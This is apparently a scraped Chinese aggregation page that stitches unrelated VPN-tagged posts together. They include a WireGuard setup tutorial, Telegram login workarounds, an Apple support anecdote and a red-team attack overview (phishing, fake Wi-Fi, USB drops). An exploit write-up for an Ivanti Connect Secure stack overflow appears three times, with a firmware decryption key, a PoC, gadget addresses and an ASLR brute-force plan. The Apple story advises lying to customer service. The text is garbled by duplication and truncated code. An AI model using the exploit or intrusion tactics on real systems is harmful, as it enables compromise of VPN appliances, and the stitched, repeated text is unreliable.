【夜猫徽章:凌晨 2 点后 6 点前发布的帖子数达到 5 篇】是不是我挂了 VPN 的原因?实际发贴都是在 UTC+8 时区
如果是 VPN 的原因,是否可以在 Profile 维护一下用户时区,按照用户自己的时区来计算一些权益。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
如果是 VPN 的原因,是否可以在 Profile 维护一下用户时区,按照用户自己的时区来计算一些权益。
有一说一,家庭的公网,不是飞牛要关闭公网直连,严格来说,而是所有都要关,公网的正确用法应该是 vpn 、frp xtcp 、stcp 等一切加密作为入口,哪怕用 ss 来作为入口都行,不可能直接把服务的公网暴露出去啊,就算嫌麻烦也应该用白名单模式吧,这次是飞牛有问题,下次又不知道是什么了
我从土耳其人转变为了马来西亚人,并在当地十分钟内加入了一个家庭。
这是我的苹果账号发生的情况:
我的苹果音乐资料库消失了,并且我的苹果音乐账号的名字变成了家庭组织者的名字。
在土耳其区时下载的应用无法重新下载,显示:
“xxx” No Longer Available.
The developer has removed this from App Store.
第一个问题解决了,我还有一台没同步的设备重新同步到云端覆盖了空的资料库。
第二个问题理论上可以通过删除购买记录解决(免费应用也要购买),因为我判断这是苹果转区时同步的问题,大概是土耳其区的应用购买记录没成功转移到马来西亚区。
于是我在苹果官网和 App Store 里翻了半天,最后发现没法删除,只能隐藏。
这时候我想到联系苹果客服,又开始在苹果官网的迷宫里找来找去。
Apple 支持的应用竟然不支持 macOS??
找了半天,必须要在苹果官网的支持页面随便找个问题一直点,最后选“没解决问题,仍需帮助”的选项。
然后我和苹果客服的战斗就开始了:
我先是选了 “Chat Support”
苹果给我接入了 Advisor,我描述问题后给我转接到电话回访。
电话回访是英文客服。(这个是根据打开苹果支持网页时的语言决定的,我开着代理所以默认用英语,跟 Advisor 说可以改,但我一开始不知道。)
经历了一段莫名其妙全损音质的音乐后,跟第一个人描述问题,又给我转到另一个 Senior Advisor。(而且转接的时候还有台词,和发布会一样,“接下来交给:”)
又重复一次问题,他问我有没有安装 VPN 或者杀毒软件,让我重启 App Store、重启 Mac、换网络、启动安全模式、新建用户、最后换苹果账号解决了,但是我不能一直用别人的账号,他说只有重新建账号和转回土耳其。到这我已经想放弃了,已经打了一个小时的电话了。客服态度很好,经常说些好听的废话,但就是不会解决问题。
挂了电话我休息了一会,最后终于想起来要删除购买记录,又去原来的网页再打开聊天支持,这次就直接让他帮我删。这次是中文因为我把代理关了,中文客服说好的可以删,结果说我是外区账号没有权限,给我转接后英文客服又说不能删,只能听 Senior Advisor 的,又给我安排电话回访。
这次是中文电话回访,我直接问她能不能删,她说给我转接。然后转接到一个香港的客服,直接给我发了一个通知请求权限,然后就解决了。
总结一下:不要和客服描述情况,你想做什么直接要求它做,问你就编假话。
2025年(暨蛇年)第一篇博客文章,顺便祝我的博客读者新春快乐吧。
1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警:
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/
1月10日 watchtowr 就发布了漏洞分析
1月10日我也发了我的漏洞复现推特: https://x.com/bestswngs/status/1877715807506952486
这次 diff版本2.3 build 3431 和 2.5, 特意留到了除夕夜发这篇文章..
这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助, 具体流程如下:
添加磁盘到虚拟机里后, 用 lvdisplay 可以看到几个分区
1 | ──(root㉿kali)-[/home/kali/Desktop] |
可以看到这几个都是 lvm2 加密的, 没法直接 mount
1 | ┌──(root㉿kali)-[/home/kali/Desktop] |
我们在 /dev/sda1 找到了对应的 kernel 和 coreboot.img, 可以看看到 coreboot.img 作为initrd
1 | └─# cat /mnt/runtime/grub/grub.cfg |
coreboot.img 作为initrd
我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了, 在 kernel中populate_rootfs里面写死密钥的AES解密
1 | DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA") |
binary ninja 带有神奇的优化,
优化出来就是异或完的
1 | ffffffff826d0815 int64_t initrd_start_3 = initrd_start; |
通过简单的逆向, 我们很快就可以写出一份解密代码, 我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。
1 | # swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53] |
cpio 解出来的目录结构如下:
1 | # swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34] |
etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘
1 | sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home |
/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项
这里就是会调用 sub shell {} 方法
1 | sub shell{ |
通过简单逆向这个程序,我们就很快能获得一个带有调试功能的固件了(具体操作留给读者了, 很简单)
可以看到这里新加了一个长度判断, 之前存在栈溢出
1 | memset(dest, 0, sizeof(dest)); |
最早的poc构造是根据 watchtowr 的文章, 魔改 openconnect[1] 的 pulse.c 代码
1 | if (bytes[0]) |
编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads
1 | /configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4 |
poc
1 | $ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv |
可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出
free 的 崩溃现场
1 | Program received signal SIGSEGV, Segmentation fault. |
1 | void __cdecl EPMessage::~EPMessage(EPMessage *this) |
1 | memset(dest, 0, sizeof(dest)); |
在溢出之后有一个函数指针的调用
1 | mov edx, [esp+0A0Ch+var_9E0] |
这里是一个this 指针调用虚表函数的功能, 由于虚表指针在栈上, 这个栈是可以被我们覆盖的, 所以我们大概率就是需要找到一个虚表指针,他指向的虚表函数表, 这个表 +0x48 能有合适的gadget, 我一开始的思路是去找所有的虚表定义,看看有没有合适的, 可惜我没有找到, 于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章[2],观察这个作者的 A Gadget From The Gods , 最后我用的大概率也是做这个找到的这个gadget
在这文章[2]中作者提到了他的 gadget 的具体汇编,第一句是mov ebx, 0xfffffff0 , 第二句是 add esp, 0x204C
1 | +--------------------------+ |
于是我采用了一个最笨的方法, 将所有引用的 lib 库全部objdump 一遍, 然后去grep
1 | objdump --x86-asm-syntax=intel -D $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt |
在libdsplibs.so 的 0x93849C 地址找到了这个 gadget ,意料之外的是这里具体居然是个 swithc table 表
按照代码逻辑, 我们只要反着算就行, 例如我们这里最后 vtable 的地址是 0x11D8940, 那么就需要有一个地址存储这个指针, 直接在 ida 的binary search 里搜索
找到一个这个, 所以我们最后要覆盖的this 指针地址为 0x00934F4C, 后面正常 rop 就行, 这里提一句 libc的随机化是 0xfff 位, 多核启动的时候会有一个主进程不断的fork子进程,因此我们爆破 0xfff次就一定能成功执行
拿到的权限是 nr 权限
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0
bash-4.2$
完整的ROP链也留给读者实现了。
最近反代很火,所以不少人都买了或者白嫖了服务器,作为反代使用,给服务器只用来做反代肯定有很多的冗余,所以我考虑利用服务器的公网 ip,做成 vpn 使用,下面就是一个详细的教程
此方案重点是:
wg0,客户端连上后拿到一个虚拟 IP(如 10.66.66.2)。AllowedIPs 决定:0.0.0.0/010.66.66.0/24 或你家的内网段)在服务器执行:
docker --version
docker compose version
如果 docker compose version 报错,安装 compose 插件:
sudo apt update
sudo apt install -y docker-compose-plugin
确认 Docker 在运行:
sudo systemctl enable --now docker
执行:
echo "net.ipv4.ip_forward=1" | sudo tee /etc/sysctl.d/99-wg.conf
sudo sysctl --system
解释:
VPN 客户端的流量要 “经过服务器转发到公网”,Linux 默认可能不转发,所以要打开 ip_forward。
你需要在云厂商控制台安全组放行:
解释:
如果 UDP 51820 没放行,客户端永远握手不上(handshake 失败),这是最常见原因。
sudo mkdir -p /opt/wg-easy
cd /opt/wg-easy
docker-compose.yml把下面两处改掉:
WG_HOST=你的服务器公网IP或域名PASSWORD_HASH=改成密码的hash值PASSWORD_HASH在服务器安装生成工具:
apt update
apt install -y apache2-utils
生成 bcrypt(示例密码用 123,实际请用强密码):
<BASH>
htpasswd -bnBC 10 "" "123" | tr -d ':\n' 会输出类似:
$2y$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
$ 写成 $$Docker Compose 会把 $VAR 当变量替换,所以 bcrypt 中的 $ 必须转义。
例如哈希是:
$2y$10$ABC...
写入 compose 时必须变成:
$$2y$$10$$ABC...
然后执行创建文件:
sudo tee /opt/wg-easy/docker-compose.yml >/dev/null <<'EOF'
services:
wg-easy:
image: ghcr.io/wg-easy/wg-easy:latest
container_name: wg-easy
restart: unless-stopped
environment:
# 你的服务器公网 IP 或域名(客户端连接时用)
- WG_HOST=159.223.37.240
# 管理后台密码(务必设置强密码) # 这里切记(新版不可使用PASSDWORD,需要使用PASSWORD_HASH)
- PASSWORD_HASH= 这里填写你密码生成的hash值
# WireGuard 端口(UDP)
- WG_PORT=51820
# Web 管理后台端口(TCP)
- PORT=51821
# 给客户端分配的 VPN 网段
- WG_DEFAULT_ADDRESS=10.66.66.x
# 客户端默认 DNS(全局模式时通常需要)
- WG_DEFAULT_DNS=1.1.1.1
# 默认“全局走 VPN”(你优先全局,所以这里这样设)
- WG_ALLOWED_IPS=0.0.0.0/0
volumes:
# 配置与密钥会保存在宿主机这个目录,容器重建也不丢
- /opt/wg-easy:/etc/wireguard
# 让容器能使用宿主机内核模块
- /lib/modules:/lib/modules:ro
ports:
# 对公网开放 WireGuard
- "51820:51820/udp" # 管理后台只监听本机回环地址,不对公网开放(更安全)
- "127.0.0.1:51821:51821/tcp"
cap_add:
- NET_ADMIN
- SYS_MODULE
sysctls:
- net.ipv4.ip_forward=1
- net.ipv4.conf.all.src_valid_mark=1
EOF
解释关键点:
WG_HOST:客户端配置里的 Endpoint 会用它,填错会导致连接不上。127.0.0.1:51821:51821/tcp:保证管理后台只能本机访问,公网扫不到。/opt/wg-easy:/etc/wireguard:把配置落地到宿主机,防止容器更新 / 重建后丢配置。cd /opt/wg-easy
sudo docker compose up -d
查看是否启动成功:
sudo docker ps
sudo docker logs --tail=200 wg-easy
因为我们没对公网开放 51821,所以用 SSH 隧道从你电脑访问:
在你自己的电脑(Windows/macOS/Linux 都可以)执行:
ssh -L 51821:127.0.0.1:51821 root@你的服务器公网IP
然后浏览器打开:
输入你设置的 PASSWORD 登录。
解释:
SSH 隧道相当于 “把服务器的本地端口映射到你本机”,外网无法直接访问后台,但你能安全管理。
在 wg-easy 管理页面:
phone, laptop, ipad)建议:一台设备对应一个 client,方便你单独禁用 / 删除。
客户端连上后:
访问 https://ipinfo.io 或 https://ifconfig.me
看显示的出口 IP 是否变成你的服务器公网 IP(全局模式应当变为服务器 IP)
如果你能 SSH 到服务器,也可以在服务器看握手:
sudo docker exec -it wg-easy wg show
你现在默认是全局(WG_ALLOWED_IPS=0.0.0.0/0)。
如果某些设备想分流:在该设备的配置里把 AllowedIPs 改成你需要的网段即可,例如:
只走 VPN 内网(仅访问 VPN 内部资源,不代理全网):
AllowedIPs = 10.66.66.0/24只访问你家 / 公司内网(举例 192.168.1.0/24):
AllowedIPs = 192.168.1.0/24, 10.66.66.0/24做法:你可以在 wg-easy 里把该设备配置下载下来后手动改,或在客户端里编辑配置。
大家新手一般都是只有一台服务器,wg-easy 很适合作为第一站:先把 VPN 跑起来、把设备接入跑通;等你对需求更明确后,再决定是留在 wg-easy 继续精细化配置,还是迁移到原生 WireGuard、Headscale 这类更强的组网架构。
最后排查了一下,发现是 vpn 的问题,我把 vpn 关了。然后把终端关了,新开一个终端再运行 pip 就行了ERROR: Could not install packages due to an OSError: Missing dependencies for SOCKS support.
2025年(暨蛇年)第一篇博客文章,顺便祝我的博客读者新春快乐吧。
1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警:
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/
1月10日 watchtowr 就发布了漏洞分析
1月10日我也发了我的漏洞复现推特: https://x.com/bestswngs/status/1877715807506952486
这次 diff版本2.3 build 3431 和 2.5, 特意留到了除夕夜发这篇文章..
这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助, 具体流程如下:
添加磁盘到虚拟机里后, 用 lvdisplay 可以看到几个分区
1 | ──(root㉿kali)-[/home/kali/Desktop] |
可以看到这几个都是 lvm2 加密的, 没法直接 mount
1 | ┌──(root㉿kali)-[/home/kali/Desktop] |
我们在 /dev/sda1 找到了对应的 kernel 和 coreboot.img, 可以看看到 coreboot.img 作为initrd
1 | └─# cat /mnt/runtime/grub/grub.cfg |
coreboot.img 作为initrd
我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了, 在 kernel中populate_rootfs里面写死密钥的AES解密
1 | DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA") |
binary ninja 带有神奇的优化,
优化出来就是异或完的
1 | ffffffff826d0815 int64_t initrd_start_3 = initrd_start; |
通过简单的逆向, 我们很快就可以写出一份解密代码, 我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。
1 | # swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53] |
cpio 解出来的目录结构如下:
1 | # swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34] |
etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘
1 | sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home |
/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项
这里就是会调用 sub shell {} 方法
1 | sub shell{ |
通过简单逆向这个程序,我们就很快能获得一个带有调试功能的固件了(具体操作留给读者了, 很简单)
可以看到这里新加了一个长度判断, 之前存在栈溢出
1 | memset(dest, 0, sizeof(dest)); |
最早的poc构造是根据 watchtowr 的文章, 魔改 openconnect[1] 的 pulse.c 代码
1 | if (bytes[0]) |
编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads
1 | /configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4 |
poc
1 | $ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv |
可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出
free 的 崩溃现场
1 | Program received signal SIGSEGV, Segmentation fault. |
1 | void __cdecl EPMessage::~EPMessage(EPMessage *this) |
1 | memset(dest, 0, sizeof(dest)); |
在溢出之后有一个函数指针的调用
1 | mov edx, [esp+0A0Ch+var_9E0] |
这里是一个this 指针调用虚表函数的功能, 由于虚表指针在栈上, 这个栈是可以被我们覆盖的, 所以我们大概率就是需要找到一个虚表指针,他指向的虚表函数表, 这个表 +0x48 能有合适的gadget, 我一开始的思路是去找所有的虚表定义,看看有没有合适的, 可惜我没有找到, 于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章[2],观察这个作者的 A Gadget From The Gods , 最后我用的大概率也是做这个找到的这个gadget
在这文章[2]中作者提到了他的 gadget 的具体汇编,第一句是mov ebx, 0xfffffff0 , 第二句是 add esp, 0x204C
1 | +--------------------------+ |
于是我采用了一个最笨的方法, 将所有引用的 lib 库全部objdump 一遍, 然后去grep
1 | objdump --x86-asm-syntax=intel -D $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt |
在libdsplibs.so 的 0x93849C 地址找到了这个 gadget ,意料之外的是这里具体居然是个 swithc table 表
按照代码逻辑, 我们只要反着算就行, 例如我们这里最后 vtable 的地址是 0x11D8940, 那么就需要有一个地址存储这个指针, 直接在 ida 的binary search 里搜索
找到一个这个, 所以我们最后要覆盖的this 指针地址为 0x00934F4C, 后面正常 rop 就行, 这里提一句 libc的随机化是 0xfff 位, 多核启动的时候会有一个主进程不断的fork子进程,因此我们爆破 0xfff次就一定能成功执行
拿到的权限是 nr 权限
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0
bash-4.2$
完整的ROP链也留给读者实现了。
2025年(暨蛇年)第一篇博客文章,顺便祝我的博客读者新春快乐吧。
1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警:
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/
1月10日 watchtowr 就发布了漏洞分析
1月10日我也发了我的漏洞复现推特: https://x.com/bestswngs/status/1877715807506952486
这次 diff版本2.3 build 3431 和 2.5, 特意留到了除夕夜发这篇文章..
这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助, 具体流程如下:
添加磁盘到虚拟机里后, 用 lvdisplay 可以看到几个分区
1 | ──(root㉿kali)-[/home/kali/Desktop] |
可以看到这几个都是 lvm2 加密的, 没法直接 mount
1 | ┌──(root㉿kali)-[/home/kali/Desktop] |
我们在 /dev/sda1 找到了对应的 kernel 和 coreboot.img, 可以看看到 coreboot.img 作为initrd
1 | └─# cat /mnt/runtime/grub/grub.cfg |
coreboot.img 作为initrd
我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了, 在 kernel中populate_rootfs里面写死密钥的AES解密
1 | DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA") |
binary ninja 带有神奇的优化,
优化出来就是异或完的
1 | ffffffff826d0815 int64_t initrd_start_3 = initrd_start; |
通过简单的逆向, 我们很快就可以写出一份解密代码, 我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。
1 | # swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53] |
cpio 解出来的目录结构如下:
1 | # swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34] |
etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘
1 | sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home |
/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项
这里就是会调用 sub shell {} 方法
1 | sub shell{ |
通过简单逆向这个程序,我们就很快能获得一个带有调试功能的固件了(具体操作留给读者了, 很简单)
可以看到这里新加了一个长度判断, 之前存在栈溢出
1 | memset(dest, 0, sizeof(dest)); |
最早的poc构造是根据 watchtowr 的文章, 魔改 openconnect[1] 的 pulse.c 代码
1 | if (bytes[0]) |
编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads
1 | /configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4 |
poc
1 | $ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv |
可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出
free 的 崩溃现场
1 | Program received signal SIGSEGV, Segmentation fault. |
1 | void __cdecl EPMessage::~EPMessage(EPMessage *this) |
1 | memset(dest, 0, sizeof(dest)); |
在溢出之后有一个函数指针的调用
1 | mov edx, [esp+0A0Ch+var_9E0] |
这里是一个this 指针调用虚表函数的功能, 由于虚表指针在栈上, 这个栈是可以被我们覆盖的, 所以我们大概率就是需要找到一个虚表指针,他指向的虚表函数表, 这个表 +0x48 能有合适的gadget, 我一开始的思路是去找所有的虚表定义,看看有没有合适的, 可惜我没有找到, 于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章[2],观察这个作者的 A Gadget From The Gods , 最后我用的大概率也是做这个找到的这个gadget
在这文章[2]中作者提到了他的 gadget 的具体汇编,第一句是mov ebx, 0xfffffff0 , 第二句是 add esp, 0x204C
1 | +--------------------------+ |
于是我采用了一个最笨的方法, 将所有引用的 lib 库全部objdump 一遍, 然后去grep
1 | objdump --x86-asm-syntax=intel -D $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt |
在libdsplibs.so 的 0x93849C 地址找到了这个 gadget ,意料之外的是这里具体居然是个 swithc table 表
按照代码逻辑, 我们只要反着算就行, 例如我们这里最后 vtable 的地址是 0x11D8940, 那么就需要有一个地址存储这个指针, 直接在 ida 的binary search 里搜索
找到一个这个, 所以我们最后要覆盖的this 指针地址为 0x00934F4C, 后面正常 rop 就行, 这里提一句 libc的随机化是 0xfff 位, 多核启动的时候会有一个主进程不断的fork子进程,因此我们爆破 0xfff次就一定能成功执行
拿到的权限是 nr 权限
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0
bash-4.2$
完整的ROP链也留给读者实现了。
估计有些佬友手机很久没有登录或者想起来想登录纸飞机的时候,尤其是 + 86 的账号,遇到了要开会员的情况!
[注意] 全程连 wifi 操作!
先前有很多佬友分享过 passkey 的方法,但是这个方法针对没有在手机上登录进去的不太友好(因为无法在 web 端扫码);
分享一下我自己尝试的可行的两个方法(ios)
1. 外区 id 登录下载 telega, 这是俄版的纸飞机,然后节点挂俄罗斯节点,输入手机号,然后就跳转到输入邮箱了,直接接邮箱验证码,然后输入密码就登录成功了!这个后面自行在设置里切换语言为英文,然后再安装中文包即可;
2. 下载 1.1.1.1 这个软件,然后安装好 vpn 配置文件,然后回到 telegram,输入手机号,即可跳过接码了!(注意,节点很重要!)
3. 网上有一些渠道可以直冲会员进你的账号(大概花费 1-3 块),但是我也没有尝试过是否可以直接免了登录阶段的收费;
后续登录上去了,还是建议感觉开一下 passkey,有其他佬友分享过的,大家可以自行搜索一下,也欢迎其他佬友补充和指正一下!感谢!
演员请就位,演员请就位,集团聘请外部多支攻击队伍,对集团各机构实际网络和业务开展攻击测试两周,实战演练红蓝对抗7天后开始。
无论攻击队伍还是防守队伍,都将面临持续的黑眼圈战斗了!战斗催人老!
攻击方攻击步骤如下:
1) 突破边界到内网
2) 内网横向摆渡
3) 寻找核心业务系统
4) 对核心业务系统攻击
网络边界资产,包括办公网边界路由器、防火墙、VPN;也包括业务服务器,尤其是在线业务系统、合作伙伴在线业务、老旧没人维护的该下线没下线的业务、在线业务的测试系统等等。
我记得以前某甲方让下级单位上报在线业务系统,上报了800个IP,结果我们用zoomeye.org,shodan.io上搜索,找到了1600个IP!为啥差了这么多?因为很多合作伙伴的老系统,早就没人维护了,工作交接几次就没人记得了!
这类系统中,有一些是两个网口,一个连接了内网核心业务系统,比如计费系统,另一个网口连接了互联网,供合作伙伴,或分公司员工,客户远程访问,这种是攻击队伍最喜欢的了!
前几天我们一个客户,让我们帮梳理一下外网资产,看是否都接入了创宇盾云防御,他们已经梳理2遍了,结果我们发现还有6个域名和IP还在公网裸奔,真是很危险。
尽管这个攻击手段很难,但也不是不可行,前年某红蓝对抗比赛,用XXX防火墙漏洞进了好几个单位,去年某对抗活动第一天用XXX的VPN漏洞进了几乎全部甲方的内网,尤其是进去后有用XXX的EDR漏洞直接控制了X万服务器,真的很精彩。
在攻击队眼里面,甲方的防御,简直连雨伞都算不上!
前面两招无效的情况下,还有一个很容易,就是发钓鱼网站,模拟公司高层、或网络管理员,给下属员工发邮件,邮件内容有这么几类:
a) 附件带木马的
b) 邮件内容要求修改口令的
c) 邮件内容要求下载安装某企业管理软件的
d) 打客服电话,要求修改域名指向,修改账号密码
这些邮件内容通常都是先从泄露在网上的各类数据库,找到公司员工,组织结构信息,精心编写的,欺骗性很强。如果企业没有做过员工安全意识宣贯,很容易就中招了。
社工库一堆堆,里面很多注册信息填写公司邮件地址的,或手机号的,然后泄露一堆堆的密码信息,再加上弱口令,攻击队伍连上企业VPN、或在线业务,不停的猜猜猜,循环遍历,其实还是挺容易进入系统的。去年某甲方委托我们在云防御上检测弱口令,发现占比21%,惨不忍睹,好在做了零信任,要不秒秒钟被击穿。

这个有红蓝对抗攻击队伍用过了,某互联网公司门口扔U盘,里面放个吸引眼球的文件名,然后.txt\n.exe结尾,命中率是扔了30个,中招9人。效果杠杠的,内网程序运行起来,自动连接互联网,开通一个进入内网的网络连接通道。
U盘也搞不定,就到办公网络附近,先用大功率Wifi做信号压制,模拟企业WIFI的ssid,等人接入,拿到口令,然后接入内网wifi,进入内网。
这个也是常用办法,每年都有单位组织红蓝对抗,被攻击队从海外信任办公网络接入了总部,被攻破。屡试不爽,海外机构建设周期短,也没有专门网管、安全管理员,很容易突破的。
去年某单位,管理员家庭网络路由器,到公司发起了扫描行为,后来勘察,原来有人精准爆破器家庭路由器,绕个弯攻击企业内网。
黑客重在猥琐,用别人想不到的招数制胜,我天分有限,能想到的只有这么多,各位高手们用的手段估计比上面多好几倍。
攻击方的弱点:
1) 可用的代理IP资源不多,
2) 对目标网络环境尤其内网、隔离网络熟悉度不高
3) 红蓝对抗行动时间有限,浪费一天就是很大损失
防守方的弱点:
1) 对敌人不熟悉,不知道从哪里来什么时候来,用什么手段来
2) 对自己全部资产不清晰
3) 对分支机构,合作伙伴的管理权限不完备
防守方优势:
1) 对自己的网络可调整
2) 对自己业务来访权限清晰
3) 帮手多,不给钱都有很多厂商相助
因此最佳策略是:
1)部署大量蜜罐网络,诱敌深入,浪费敌人时间,同时掌握敌情
2)对自己的业务网络,设置白名单,不需要访问的人就不用访问了
3)在重要网络出入口,随时设置黑名单,消耗对方可用IP

组织结构上,建设几个小组:
1) 总体协调组,负责协调内部领导,内部分子机构,内部各部门
2)网络摸底调整组,负责资产摸查,尤其互联网在线业务资产
战斗打响时候,这几个小组开始工作:
3) 厂商派驻人员:负责厂商安全设备报警的真实性判定,判定是攻击的,上报事件研判组。
4) 事件研判组:负责接收事件信息,并做进一步研判,如果是攻击,立刻通知封堵组添加黑名单,并编写事件报告,上报总体组
5) 封堵组:负责在各关键节点,配置黑名单,并检验是否生效。
简化图如下:
分析了这么多,推荐一个最快部署的防守方案:
1) 外网业务系统全部使用云防御
国内首选创宇盾、国外机构首选创宇盾、外国供应链合作伙伴首选cloudflare
2) 互联网业务机房、云计算中心,首选重保盾 -- 创宇云威胁情报IP封堵机,或K01,一个类似IDS的设备,部署方式和IDS一样旁路,通过RST断掉来自黑客的访问。
3) 外网不用的域名、IP,部署创宇云蜜罐,或其他厂商的蜜罐,浪费攻击队时间,诱捕身份。
4) 内网部署大量蜜罐,构建迷阵。
5) 总部单位禁用Wifi
6) 通知大家,别打开邮件附件,别听邮件改密码
7) 业务系统只允许来自白名单访问
8) 业务区域网络,部署成零信任,来访问就先通过短信或企业微信、企业钉钉认证才能访问。
好了,接下来,以战斗的姿态,开始对抗吧,阿门!